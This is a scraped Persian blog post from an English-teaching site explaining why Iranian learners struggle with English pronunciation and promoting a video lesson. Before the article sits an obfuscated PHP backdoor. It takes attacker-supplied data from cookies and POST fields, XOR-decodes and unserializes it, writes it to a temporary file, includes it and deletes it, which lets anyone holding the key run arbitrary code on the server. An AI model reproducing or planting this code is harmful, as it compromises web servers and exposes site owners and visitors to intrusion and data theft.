$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();} دشواری‌ های تلفظ درست کلمات انگلیسی برای ایرانی‌ ها | وبلاگ اتیچر
skip to Main Content

دشواری‌ های تلفظ درست کلمات انگلیسی برای ایرانی‌ ها

-تلفظ-درست-کلمات-انگلیسی
زمان مطالعه: ۳ دقیقه

آیا شما هم در شرایط مختلف احساس کرده اید که برای تلفظ درست کلمات انگلیسی مشکل دارید؟

آیا می دانید وجود این مشکل دلایل علمی دارد و بسیاری از مردم دنیا با این مشکل مواجه هستند؟

 

تحقیقات علمی ثابت کرده است که گوش کودکان توانایی شنیدن و تفکیک تقریبا ۶۰۰ نوع صدا (شامل صامت و مصوت) را دارد. نکته جالب این است که کودکان در حدود یک سالگی به تدریج توانایی شنیدن صداهایی را از دست می دهند که در زبان مادری آنها وجود نداشته است. در نتیجه نمی توانند این صداها را به خوبی بشنوند و نسبت به صداهای مشابه تمایز قائل شود.

انگلیسی استرالیایی و تفاوت آن با بریتانیایی و آمریکایی

به همین دلیل است که سال ها بعد و زمانی که می خواهیم زبان جدیدی مانند انگلیسی را یاد بگیریم، به علت اینکه برخی صداهای زبان انگلیسی به گوش ما ایرانی ها نا آشناست، در شنیدن و تلفظ درست کلمات انگلیسی که شامل این صداها هستند به مشکل بر میخوریم.

هنگام شنیدن کلمات حاوی صداهای ناآشنا با زبان مادری ما، صداهای موجود در آن را شبیه به صدایی که در زبان مادری ما وجود دارد، می شنویم و مسلما بعدا هم این کلمات را همانطور که شنیده ایم تلفظ می کنیم. با این شرایط، در بسیاری از موارد معنای کلمه عوض می شود. و اینگونه است که در بسیار از موارد شنیدن و البته تلفظ درست کلمات انگلیسی برای ما ایرانی ها دشوار می شود.

راهنمای-تلفظ-انگلیسی

حالا فرض کنید در حین دیدن فیلم یا نگاه کردن یک دوره آموزشی ویدیویی، این کلمات را با هم اشتباه بگیرید. در نتیجه با وجود اینکه احساس میکنیم بسیاری از کلمات و محتوای آن را به خوبی بلد هستیم اما معنای کلی آن جمله یا محتوا را به درستی متوجه نمی شویم. درواقع یکی از دلایل اصلی اینکه ظاهرا در مدرسه و کلاس های آموزش زبان انگلیسی به اندازه کافی زبان یاد گرفته ایم اما از فهمیدن فیلم ها و موسیقی های به زبان انگلیسی عاجز هستیم، همین مسئله است.

تفاوت انگلیسی بریتانیا و آمریکا

البته اگر تعداد این موارد مشکل ساز محدود باشد، می توان آنها را نادیده گرفت. اما نکته مهم این است که تعداد این صداها و کلمات حاوی آنها بسیار زیاد است. در واقع هزاران کلمه وجود دارد که تنها با این تغییر – یعنی تبدیل صداهای جدید و ناآشنای زبان انگلیسی به صداهای آشنا و مشابه به زبان مادری خودمان- معنای آن به کلی عوض می شود. از سوی دیگر، به دلیل گسترش بسیار قابل توجه زبان انگلیسی در تمام کشورهای دنیا از جمله ایران، تلفظ ‌های اشتباه هم در طی گذشت زمان در میان مردم غیر انگلیسی زبان مرسوم شده‌اند و تلفظ درست کلمات انگلیسی به ندرت در میان این گروه از مردم اتفاق می افتد.

با وجود این شرایط، راه حل غلبه بر مشکل تلفظ درست کلمات انگلیسی چیست؟

” دانستن اصول کلی تلفظ درست کلمات انگلیسی که قابل تعمیم به اغلب کلمات می باشد”.

در این ویدیوی آموزشی “امیرعلا مصدقی” از اساتید باتجربه موسسه اتیچر در حوزه آموزش زبان انگلیسی، چند مورد از اشتباهات رایج در تلفظ کلمات انگلیسی را برای زبان آموزان و علاقه مندان به یادگیری درست زبان انگلیسی توضیح می دهد.

در این ویدیو تلفظ درست کلمات انگلیسی که شامل این صداها هستند آموزش داده می شود:

  • aught /ought (مانند caught , bought)
  • aw (مانند saw)
  • S (مانند stress)
  • و W / V (مانند wagon)

 

به این مقاله امتیاز بدهید

دیدگاه ها

اولین نفری باشید که به این نوشته نظر میدهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search